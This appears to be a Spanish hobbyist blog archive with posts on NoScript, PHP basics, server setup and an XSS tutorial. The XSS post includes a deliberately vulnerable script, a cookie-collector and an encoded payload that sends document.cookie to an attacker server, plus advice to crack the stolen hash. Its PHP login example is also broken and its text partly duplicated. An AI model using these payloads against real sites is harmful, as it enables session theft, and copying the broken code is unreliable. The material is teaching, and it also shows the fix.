www.mailnator.com && www.bugmenot.com
Lo parten xD
Mostrando entradas con la etiqueta Web. Mostrar todas las entradas
Mostrando entradas con la etiqueta Web. Mostrar todas las entradas
jueves, 7 de abril de 2011
martes, 16 de febrero de 2010
Privacidad 3: NoScript - Bloquea javascript y otras malas compañías.
En cualquier caso, como no creemos en estos sistemas, os recomiendo directamente que empleéis la extensión para firefox NoScript. Su funcionamiento es bastante sencillo. Puedes bloquear javascript globalmente y no tener ningún problema de ClickJacking y seguridad al navegar, o desactivar ciertas cosas que sólo sirven para molestar. No obstante, también te protegerá contra ataques XSS y ciertas actividades maléficas como los cruces de dominios ante los que cualquier usuario normal ni se daría cuenta.
Para instalarlo es muy sencillo, iremos a la página del complemento y pulsaremos sobre Añadir a Firefox. Una vez instalado y reiniciado el navegador nos encotraremos en la parte inferior con un pequeño icono parecido a este:
Simplemente, permitiremos JavaScript Globalmente y bloquearemos ciertos scripts que no nos interesan como el de Google Adsense, Google Analytics (para ver que sitios visitamos) y ciertas cosas que nos molesten bastante como los popups de megavideo etc...
Sí, todo esto es bloqueable. No obstante según su creador, un experto en seguridad web, de verdad de la buena, Giorgio Maone, lo mejor es tener javascript desbloqueado globalmente y permitir los scripts que nosotros queramos meter en nuestra lista blanca, youtube, megavideo, etc...
Para permitirlo sería tan sencillo como entrar en cualquier página, y ver que nos aparece debajo de la barra de direcciones los scripts que han sido bloqueados. Permitiremos los que queramos y listo :)
martes, 9 de febrero de 2010
XSS - Cross Site Scripting
Sin duda, la culpa es de los programadores, no validar las entradas es un error terrible y aunque en estos casos estas vulnerabilidades no fueran explotables nos hacen quedar en ridículo. En cualquier caso hoy trataré de dar la imagen más peligrosa de los XSS para ver si de una vez la gente se mentaliza.
Por ello mismo haremos un simple paseo por scripts tontos y scripts menos tontos. Lo primero de todo es la teoría. La teoría dice que para probar un XSS usaremos un simple document.Alert de javascript para ver si se nos muestra por pantalla la típica ventana de advertencia. A mi me gustan mas los iframes, por ello mismo usaremos este código:
<iframe src=http://donzeyt.blogspot.com>Para ver si es vulnerable nuestro atacante tan sólo habría que añadir en el campo de búsqueda $_POST o en cualquier parámetro $_GET el siguiente código. Nosotros por comodidad, lo haremos con $_GET.
Vulnerable1.php
<?phpPara arreglarlo hubiera sido tan sencillo como:
$seccion = $_GET["seccion"];
echo "Usted esta en ".$seccion;
?>
<?phpEn cualquier caso probaremos nuestro ataque. Para ello iremos a:
$seccion = htmlentities($_GET["seccion"]);
echo "Usted esta en ".$seccion;
?>
http://nuestroservidor.example.com/Vulnerable1.php?seccion=<iframe src=http://donzeyt.blogspot.com>Si aparece un iframe con la página es que las cosas funcionan bastante
Perfecto, este es un ejemplo de los mas sencillos. Ahora mismo vamos a pasar al más grave, de la inocentada a lo gordo. El script vulnerable sigue siendo el mismo solo que añadiremos una cookie. Todavía no hemos hablado de esto pero lo veremos por encima.
Vulnerable2.php
Una vez guardado crearemos el script al que llamaremos para que guarde la información.<?php
$seccion = $_GET["seccion"];
$contraseña = sha1($_GET["pass"]);
setcookie("contraseña", $contraseña , time()+ 3600);
echo "Usted esta en ".$seccion;
?>
come_cookies.php
<?phpEste script nos guardará las cookies en un fichero de texto y será al que invocaremos. En este caso en vez de usar el iframe, he decidido usar el document location de javascript.
$cookie = $_GET["cookie"];
$fp = fopen("robada.txt", 'w');
fwrite($fp, $cookie);
fclose($fp);
?>
<script>document.location=http://nuestroservidor.example.com/come_cookies.php?cookie=' +document.cookie</script>Muchos servidores normalmente suelen llevar protección de scripts pero esta es fácilmente saltable codificando nuestra cadena a HEX o directamente mediante la codificación del a URL. Existen gran cantidad de conversores online gratuitos, os recomiendo este. Una vez codificado quedaría así:
%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3EListo, ya sólo queda atacar, para ello tocará lo siguiente:
http://nuestroservidor.example.com/Vulnerable2.php?pass=hola&seccion=%3Cscript%3Edocument.location%3Dhttp%3A%2F%2Fnuestroservidor.example.com%2Fcome_cookies.php%3Fcookie%3D%27++document.cookie%3C%2Fscript%3ESi todo ha ido bien, cookie robada, con ella crackearemos la contraseña por fuerza bruta o diccionario y listo.
sábado, 23 de enero de 2010
PHP: Ejecutar comandos en tu linux con exec
Exec, un comando muy potente en php que nos permitirá realizar tareas muy interesantes. Si quieres montar un servicio en línea y no sabes como hacerlo, este comando te salvará la vida. Puedes crear tu propio portal de vídeos, transformador de imágenes, transformador de audio, lo que quieras.
En el ejemplo de hoy, crearemos un sencillo programa que nos transformará una imagen de CD NRG a ISO , mediante el programa nrg2iso. Ponemos este ejemplo porque lanzar un servicio en línea de este tipo sería un disparate debido al tamaño gigantesco de las imágenes de CD y el tráfico que generarían.
En cualquier caso, es un buen ejemplo para ver el comando exec. En el enlace que os puse atrás, podréis instalar el programa. La utilización de este comando será muy sencilla. Como es en local, no usaremos variables del tipo $_POST o $_GET, simplemente usaremos una variable cualquiera llamada $ruta, y como nombre de la imagen usaremos $nombre, quedando algo así:
<?php
$ruta = "/home/tucuenta/";
$imagen = "nombre_imagen.";
//Transforma imagen nrg a iso en php
echo exec("nrg2iso ".$ruta.$imagen."nrg ".$ruta.$imagen."iso");
?>
Ejecutaríamos el comando, da igual la ruta, y veríamos por pantalla el resultado de la salida del terminal, del sistema operativo en el que estés. En este caso estamos trabajando bajo Linux por lo que tendríamos la imagen transformada. Esto se puede aplicar a cualquier tipo de formato y conversor, sólo necesitáis un servidor que acepte exec.
domingo, 17 de enero de 2010
Internet - Dominios y WHOIS
El WHOIS de los dominios de internet o ciertas IP, nos sirve para identificar quién o que empresa está detrás de un dominio. Para obtener esta información es muy sencillo. Hay webs que nos mostrarán esta información mucho más bonita pero lo más útil, libre de publicidad y fácil es abrir un terminal y escribir:
- whois example.com
- whois 127.0.0.1
domingo, 27 de diciembre de 2009
PHP: Variable $_POST
En nuestra edición anterior sobre este lenguaje de programación os hablamos sobre la variable $_GET y para que podía ser usada esta. Hoy nos centraremos en la variable $_POST muy empleada en los formularios.
La variable $_POST recibe los datos a través del navegador a diferencia de la variable $_GET que recibe las variables a través de la URL de la página. Para enviar los datos a través del navegador es necesario crear un formulario. En el ejemplo de hoy crearemos un sencillo formulario de login o acceso para administradores.
Este formulario es muy sencillo y llevará consigo un script muy tonto. El fin de la lección de hoy es que aprendáis a usar los formularios y a emplearlos de manera más o menos rudimentaria.
Para ello primero crearemos el formulario HTML que incluiremos en nuestro código php.
El fórmulario HTML sería más o menos así:
El siguiente paso será crear nuestro script en php. Su funcionamiento será básico. Como siempre validaremos las entradas o nuestra web será una basura insegura. Para ello mismo emplearemos el siguiente código.
El campo de contraseña lo cifraremos a sha1 para evitar que ojos resultones miren y paso la transformaremos a número entero.
El siguiente paso será añadir una sentencia condicional para ver que acción realizamos según la variable paso. Para ello:
La variable $_POST recibe los datos a través del navegador a diferencia de la variable $_GET que recibe las variables a través de la URL de la página. Para enviar los datos a través del navegador es necesario crear un formulario. En el ejemplo de hoy crearemos un sencillo formulario de login o acceso para administradores.
Este formulario es muy sencillo y llevará consigo un script muy tonto. El fin de la lección de hoy es que aprendáis a usar los formularios y a emplearlos de manera más o menos rudimentaria.
Para ello primero crearemos el formulario HTML que incluiremos en nuestro código php.
El fórmulario HTML sería más o menos así:
<form method="POST" action="formulario.php">Este código html mostrará un formulario cuyo método será POST ($_POST) y que empleará a formulario.php (nombre de nuestro script). Contiene 2 campos visibles, 1 oculto y un botón de enviar. El campo oculto no tiene mucho sentido en este script pero a veces si que nos sirve de utilidad para enviar información que nos gustaría que no fuese modificada por el usuaro. En cualquier caso siempre se puede modificar por lo que no debéis guardar ahí información demasiado sensible.
<input type="text" name="usuario"> <br />
<input type="password" name="contra"><br />
<input type="hidden" name="ok" value="1">
<input type="submit" value="Enviar">
</form>
El siguiente paso será crear nuestro script en php. Su funcionamiento será básico. Como siempre validaremos las entradas o nuestra web será una basura insegura. Para ello mismo emplearemos el siguiente código.
$usuario = addslashes(htmlentities(strip_tags($_POST["usuario"]);La variable usuario está fuertemete verificada. Para empezar eliminaremos todos los códigos html y php que incluya el nombre de usuario. A continuación transformaremos los elementos susceptibles de ser ejecutados como html a sus identidades de texto. Un ejemplo < se transforma < y así con todos los caracteres. También y aunque no hayamos hablado de las inyecciones SQL ni de bases de datos, añadiremos el carácter de escape \ para evitar los problemas con la '. Por ello mismo se transformará ' en \' y no habrá problemas.
$contraseña = sha1($_POST['password']);
$paso = intval($_POST["ok"]);
El campo de contraseña lo cifraremos a sha1 para evitar que ojos resultones miren y paso la transformaremos a número entero.
El siguiente paso será añadir una sentencia condicional para ver que acción realizamos según la variable paso. Para ello:
if ($paso==0){//No ha usado el formularioMuy bien, ya tenemos nuestro código. Para usarlo crearemos un archivo llamado formulario.php y lo subiremos a nuestro servidor. El contenido de este archivo será:
}else{// ha usado el forrmulaio
}
<?phpCon todo esto os invito a que probéis a jugar con los formularios y hagáis combinaciones con $_GET y $_POST. En próximas ediciones hablaremos de la variable $_COOKIE y en muy poquito sobre bases de datos.
$usuario = addslashes(htmlentities(strip_tags($_POST["usuario"]);
$contraseña = sha1($_POST['password']);
$paso = intval($_POST["ok"]);
if ($paso==0){//No ha usado el formulario
echo '<form method="POST" action="formulario.php">
<input type="text" name="usuario"> <br />
<input type="password" name="contra"><br />
<input type="hidden" name="ok" value="1">
<input type="submit" value="Enviar">
<input type="text" name="usuario"> <br />
<input type="password" name="contra"><br />
<input type="hidden" name="ok" value="1">
<input type="submit" value="Enviar">
</form>';
else{
if ($usuario="ZeYt" && $password="99800b85d3383e3a2fb45eb7d0066a4879a9dad0"){
echo "Bienvenido ".$usuario;
}else{
echo "La contraseña es hola y el usuario es ZeYt";
}
}
?>
sábado, 5 de diciembre de 2009
PHP - Crear un servidor local para pruebas.
A modo de comienzo explicaré los primeros pasos para instalar un servidor con Linux, Apache, MySQL PHP y PHPMyAdmin para iniciaros en el maravilloso mundo de un LAMP, siglas de los recursos anteriormente mencionados.En esta serie de artículos de PHP explicaré lo básico para la gente que se vaya uniendo, pueda seguirlos. Más adelante cabaremos explicando temas más engorrosos como la seguridad en aplicaciones web y como ha de programarse de manera segura. Pero antes de todo esto, necesitaremos tener ciertos programas para probar nuestras aplicaciones, antes de servirlas a todo el mundo en un servidor abierto a Internet.
Una buena forma de tener un servidor local accesible sería abriendo el puerto 80, que explicaremos más adelante, en una guía sobre puertos y firewalls en linux. Si tenéis IP dinámica podréis crear un alias a un subdominio o dominio mediante el DynDns que presenté en este mismo blog.
A continuación explicaré el objetivo principal de las aplicaciones que mencioné arriba:
- Apache: Es el servidor web. Recibe las peticiones y sirve los documentos.
- MySQL: Es el servidor de Bases de Datos donde albergaremos la información
- PHP - Es el lenguaje de programación que emplearemos para dar dinamismo a la página.
- PHPMyAdmin : Es una herramienta escrita en PHP para administrar MYSQL vía web.
SOLUCIÓN 1: XAMPP
Si lo hubiéramos descargado al usuario el comando debería quedar algo así:Esta solución sólo debería ser seguida por aquellos usuarios que quieran tener un servidor de pruebas local, no accesible para otros usuarios ya que muchas de las políticas de seguridad no vienen activadas. Por ejemplo, el usuario root de MySQL viene sin contraseña y esto puede acarrear graves problemas de seguridad.
Para instalarlo debemos ir a la web oficial de xampp y descargar la última versión o escribir el siguiente comando en la consola:
Para instalarlo debemos ir a la web oficial de xampp y descargar la última versión o escribir el siguiente comando en la consola:
- wget http://www.apachefriends.org/download.php?xampp-linux-1.7.2.tar.gz
Una vez descargado procederemos a extraerlo mediante el comando:
- sudo tar xvfz xampp-linux-1.7.2.tar.gz -C /opt
- sudo tar xvfz /home/tucuenta/Escritorio/xampp-linux-1.7.2.tar.gz -C /opt
- sudo /opt/lampp/lampp start
Esta versión también funciona en el sistema operativo privativo más utilizado en el mundo aunque no daré soporte para estos usuarios.
SOLUCIÓN 2: Instalar Apache PHP y MYSQL
Esta es la solución más robusta y que toda persona debería realizar para tener un servidor completo fiable y seguro.
El primer paso de todos es instalar el servidor web Apache para ello ejecutaremos el comando:
- sudo apt-get install apache2
Después de instalar Apache, instalamos PHP:
- sudo apt-get install php5
Ahora tocará instalar MySQL:
- sudo apt-get install mysql-server
- sudo apt-get install libapache2-mod-auth-mysql
- sudo apt-get install php5-mysql
Ponemos la contraseña al usuario root de MySQL:
Felicidades ya tienes instalado Apache PHP MySQL y PHPMyAdmin. Ahora para acceder a tu servidor en tu navegador, escribe http://localhost/ o http://127.0.0.1/. Si el ordenador se encuentra en otro equipo deberás escribir la IP http://192.168.X.X
En próximas entregas empezaremos a hacer nuestros pinitos en PHP, ya que dispones de lo necesario para empezar a programar tus páginas webs dinámicas con PHP.
- sudo mysqladmin -u miusuario password tucontraseña
Por último instalaremos PHPMyAdmin:
- sudo apt-get install phpmyadmin
Si no tuviéramos geany instalado, lo instalamos para tener un entorno de desarrollo para PHP fácil y ligero:
Ahora sólo nos queda reiniciar el servidor apache para que todos los módulos funcionen correctamente:
- sudo apt-get install geany
Ahora sólo nos queda reiniciar el servidor apache para que todos los módulos funcionen correctamente:
- sudo /etc/init.d/apache2 restart
En próximas entregas empezaremos a hacer nuestros pinitos en PHP, ya que dispones de lo necesario para empezar a programar tus páginas webs dinámicas con PHP.
jueves, 3 de diciembre de 2009
PHP - ¿Esto de que va?

PHP Hypertext Pre-processor
PHP, es un lenguaje de programación que en sus inicios nació como un lenguaje orientado exclusivamente a la web. Hoy en día esto ya no es así ya que existen librerías gráficas con las que poder programar aplicaciones de escritorio gráficas aunque no sea el lenguaje más adecuado para esto.
Actualmente estamos en la versión 5 pero pronto dispondremos de la versión 6 que nos dará compatibilidad total con unicode, corregirá errores del pasado y sobre todo mejorará la orientación a objetos cosa que normalmente no interesa demasiado a la hora de implementar una página.
PHP, es un lenguaje de programación que en sus inicios nació como un lenguaje orientado exclusivamente a la web. Hoy en día esto ya no es así ya que existen librerías gráficas con las que poder programar aplicaciones de escritorio gráficas aunque no sea el lenguaje más adecuado para esto.
Actualmente estamos en la versión 5 pero pronto dispondremos de la versión 6 que nos dará compatibilidad total con unicode, corregirá errores del pasado y sobre todo mejorará la orientación a objetos cosa que normalmente no interesa demasiado a la hora de implementar una página.
Es un lenguaje multiplataforma, que se ejecuta del lado del servidor, esto es, que no se ejecuta en el navegador del usuario. Nació en 1994 Rasmus Lerdorf, que según cuenta la historia, puso su curriculum en Internet y quiso saber quien le visitaba por lo que mediante perl hizo una aplicación web muy original, con un contador de visitas. En aquellos tiempos estas cosas estaban al alcance muy pocos por lo que la gente rápidamente empezó a pedirle el código para implementarlo ellos mismos en su web. Así creo lo que vino siendo una primera versión de lo que el llamo Personal Home Page Tools. La primera versión sería publicada por The PHP Group y fijaría el estándar de PHP. Pero PHP nacería realmente en 1998 con su versión 3 donde se reescribió el parser y nacería este lenguaje interpretado distribuido como Software Libre.
A continuación os contaré algunas de sus ventajas:
A continuación os contaré algunas de sus ventajas:
- Orientado a la web
- Es libre
- Permite orientación a objetos
- No requiere definición de tipos
- Gran API
- Compatible con la mayoría de bases de datos.
- Espectacular manejo de arrays
- Multiplataforma
- Fácil y rápido de aprender
- Ha revolucionado la web
PHP ES SEGURO
Como software libre tiene fallos en su núcleo pero desde luego su fama negra se la ha ganado por programadores inexpertos y picacódigos que no siguen una de las principales reglas: valida y verifica todo lo que entre por parte del usuario.
Algunas aplicaciones webs que revolucionaron la web como PHP Nuke o PHPBB, trajeron consigo una gran cantidad de fallos y hoy en día es fácil encontrar webs programadas en PHP con una cantidad enorme de fallos de seguridad y señores, la culpa no es de PHP, es del programador.
En próximas entregas os daré un curso rápido para PHP pero principalmente los requisitos son:
Algunas aplicaciones webs que revolucionaron la web como PHP Nuke o PHPBB, trajeron consigo una gran cantidad de fallos y hoy en día es fácil encontrar webs programadas en PHP con una cantidad enorme de fallos de seguridad y señores, la culpa no es de PHP, es del programador.
En próximas entregas os daré un curso rápido para PHP pero principalmente los requisitos son:
- Ser autodidacta.
- Saber HTML
- Saber algo de programación.
Suscribirse a:
Entradas (Atom)









